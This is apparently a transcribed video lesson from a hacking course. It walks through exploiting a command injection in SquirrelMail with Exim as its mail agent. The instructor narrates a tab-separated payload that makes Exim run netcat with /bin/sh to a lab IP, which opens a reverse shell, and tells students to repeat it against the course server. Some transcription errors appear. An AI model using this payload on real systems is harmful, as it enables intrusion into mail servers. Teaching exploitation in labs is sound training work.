So I can then turn that off and allow
myself to use the application.
And all this does is it allows me
to change the arguments that are being
sent to the web application.
So I'm going to show you how to exploit SquirrelMail
with Exim 4, otherwise known as CD2017 7692.
And this tech technique, as far as I know,
is not publicly known.
So if I was to go to Personal Information, and then
I was to go down to these various options
that I have here.
What I can do is, I need to set my name
and my personal address.
So if I was to set my name to a@a.com and my email address
to a@a.com .
I don't really want to set my full name to anything.
I just want to change my email address in there
and intercept it.
And then once I've set my email address to a.com and hit
Submit, we should see in my burp request
is it sending a POST request to this options page.
And inside the Options page has got an argument
that says new = email address.
And what I'm going to do is I'm going to change
that new = email address.
And I'm going to exploit a command injection vulnerability
in Exim by doing new_email_address a%40
localhost.
And the reason this vulnerability exists is
because if I put %09, which is the character for tab,
it will actually treat it as a white space and allow me
to inject additional arguments into the mail argument.
So I would then supply minus be %09.
So
I'm giving the arguments now.
So when it's trying to send mail through Exim's MTA,
it's now going to add these extra arguments on there,
as well.
It's going to add localhost.
And then it's going to add the minus be.
I'm also then going to type $.
And then I'm going to type left curly brace, run,
left curly bracket, speech marks and then I'm going to do
/bin/nc for the net cat argument %09.
And the commands I want to inject into that mail.
So I'm going to do %09 again.
Again, the arguments I'm typing in here
are on a reference guide of page 11.
So I'll do bin/sh%09.
I'm going to now connect to a computer which
is IP address 192.168.56.104.
And then I'm going to do %09.
I'm going to give it the port number 80.
And then I'm going to give it my speech marks.
I'm going to close my close my swirly bracket again.
And then give it a %09.
And what this is doing is, it's just doing a command injection
attack to try and tell it to use run the net cat
command through Exim in due to a bug in the PHP mailer.
So if I was to then do net cat -b -l at 80,
and actually listen on minus p80.
Actually listen on port 80 for any connections.
If I was to run that command now, what it will try and do
is it will connect this net cat instance, run a shell
and then connect it to this IP address.
It will actually do that reverse payload, but as a command
and connect back to me.
So I'm going to click forward now and send that
onto the server.
And you'll see nothings actually happened at this point.
Because it doesn't actually trigger the command injection
until you try and send an email.
So if I was to now try and send an email to johnk,
I'll send it to myself.
And in the subject line I'll put email is a time slave.
And then I will type send.
And you can see that the actual application
appears to have paused.
And if you go to your shell here,
you can see that the connection has now
come from that mail server.
And it's actually injected a command injection
and allowed you to exploit SquirrelMail with Exim
as its MTA.
So these kinds of PHP mailer, when you see a Contact Us form,
or you see a PHP use of email, it's
worth checking for these kinds of vulnerabilities,
as well injection attacks.
So this is an example of a command injection
attack being manually done.
And when you do run these kinds of exploits
in metasploit and similar, they're
actually doing that process I just did there for you.
And I just did it in a kind of debuggy kind of way
using the suite.
We'll cover a lot of how that works in the next module.
So I'm going to sign out of this now and disable my proxy.
And that concludes everything that we
wanted to show on this demo for the practical elements
of our Hands On Hacking course.
So you should now be able to basically repeat
some of those steps.
And that's what I want you to do is,
I want you to do your enumeration against the server.
I want you to learn its footprint.
I want you to try and do your probing against it,
try and exploit those vulnerabilities
like heartbleed.
Try and exploit the Exim vulnerability.
And maybe even try the SquirrelMail attacks.
Or look at some of the other vulnerabilities that
are in there.
And then hopefully you'll be able to feel
ready to move on and approach the next subject, which
will be web servers.
So I hope you enjoyed this module.
And look forward to seeing you in the next one.